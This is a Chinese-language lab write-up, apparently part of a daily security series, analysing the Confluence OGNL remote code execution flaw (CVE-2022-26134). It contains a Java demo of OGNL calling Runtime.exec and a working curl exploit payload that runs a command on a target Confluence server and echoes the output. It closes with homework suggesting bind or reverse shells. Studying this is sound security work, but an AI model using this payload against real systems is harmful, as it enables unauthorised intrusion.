終於第10天了,賽程也來到1/3的階段。這次是要針對之前建立的環境去分析Confluence所用的OGNL函式庫的版本,並且了解一下為何會造成RCE的原因、這個弱點的POC特性以及研究Java進行RCE的限制。
首先先從OGNL開始看起,它的功能是可以透過表達式語言,去設定或是取得Java物件的屬性,或是執行一些特殊的函式。但在建立OGNL測試環境之前,我們先來Confluence容器環境看看它的了那些相關的函式庫。
步驟如下 :
步驟如下 :
package com.tw.ognl;
import java.math.BigDecimal;
import java.util.List;
import java.util.ArrayList;
import ognl.*;
public class App {
public static void main(String[] args) throws Exception {
Sample data = new Sample();
data.getLines().add(new Item(1, new BigDecimal("100")));
data.getLines().add(new Item(2, new BigDecimal("200")));
data.getLines().add(new Item(3, new BigDecimal("300")));
System.out.println(Ognl.getValue("lines.{ #this.code == 2 }", data));
System.out.println(Ognl.getValue("lines.{^ #this.code > 1 }", data));
System.out.println(Ognl.getValue("lines.{? #this.price > 150 }", data));
System.out.println(Ognl.getValue("@java.lang.Runtime@getRuntime().exec(\"sleep 548787\")", data));
}
}
class Sample {
private List<Item> lines = new ArrayList<Item>();
public List<Item> getLines() {
return lines;
}
}
class Item {
private int code;
private BigDecimal price = BigDecimal.ZERO;
public Item(int code) {
this.code = code;
}
public Item(int code, BigDecimal price) {
this.code = code;
this.price = price;
}
public int getCode() {
return code;
}
public BigDecimal getPrice() {
return price;
}
@Override
public String toString() {
return "Item(code=" + code + ")";
}
}
觀察結果可以發現 OGNL 可以幫我們設定撈取條件後從物件對象抓出符合條件的資料出來。相關語法可以參考Developer Guide。但最讓我們眼睛為之一亮的是最後一個呼叫睡覺指令的部分。透過 @class@method(args) 的格式可以呼叫該 class 的 static 方法,e.method(args) 可以呼叫物件 e 的方法,因此透過 @java.lang.Runtime@getRuntime().exec(String) 就可以做到呼叫任意指令的效果。而這次造成Confluence的主因就是接收了外部輸入參數進行OGNL的運算導致觸發RCE,至於詳細的觸發路徑則可參考CVE-2022-26134 Confluence OGNL RCE 漏洞分析。
最後則是要針對這次的攻擊POC做幾個符號方面有趣的測試,參考如下 :
curl --head "http://IP:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22
%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
會發現這個攻擊 POC 就跟古靈精怪槍一樣,有些符號要做URLEncode,有些則不用。 另外最後一個明明是 Linux 常用指令 ls -al | wc -l,但也似乎無法運作,這個原因到底為何?
這個部分就可以參考如何正確的使用 Runtime.exec(),其中有個章節提到常見的錯誤是使用所以shell可以執行的指令都可以透過exec()來達成,例如 > redirect 的符號。這部分我們可以依照參考資料程式進行測試。
步驟如下 :
import java.util.*;
import java.io.*;
public class OkExample1 {
public static void main (String args[]) {
try {
Runtime rt = Runtime.getRuntime ();
Process proc = rt.exec ("ls -al | wc -l");
String line = null;
InputStream stderr = proc.getErrorStream ();
InputStreamReader esr = new InputStreamReader (stderr);
BufferedReader ebr = new BufferedReader (esr);
System.out.println ("<error>");
while ( (line = ebr.readLine ()) != null)
System.out.println(line);
System.out.println ("</error>");
InputStream stdout = proc.getInputStream ();
InputStreamReader osr = new InputStreamReader (stdout);
BufferedReader obr = new BufferedReader (osr);
System.out.println ("<output>");
while ( (line = obr.readLine ()) != null)
System.out.println(line);
System.out.println ("</output>");
int exitVal = proc.waitFor ();
System.out.println ("Process exitValue: " + exitVal);
} catch (Exception e) {
e.printStackTrace();
}
}
}
從上面可以發現程式會認為 '|' 以及 'wc' 這兩個名稱的檔案不存在,很顯然這個特殊符號會當成檔案名稱使用,可見 java 函式庫在 exec 的實做上有做一些特殊的手腳,避免因為輸入資料導致 Command Injection。也會對我們想要透過 > 符號寫入檔案造成一程度上的困擾.
也因此對於confluence弱點的部份大致上就解讀到這邊,這次的漏洞原因主要是因為把外部的傳入資料送到OGNL運算做執行,導致RCE的發生. 而這次的建立與解說主要還是著重在 docker compose 的使用、OGNL功能的測試以及 Java Runtime 特性的介特性的介紹.有興趣在更深入原理部份的話可以參考前面提到的資料CVE-2022-26134 Confluence OGNL RCE 漏洞分析。
回家作業 :
面對 Java 這樣的 Runtime 特性很難讓我們去寫入檔案,思考一下可以透過怎樣的方式克服這個問題呢? (ex: Bind Shell、Reverse Shell或是其他有趣的指令?)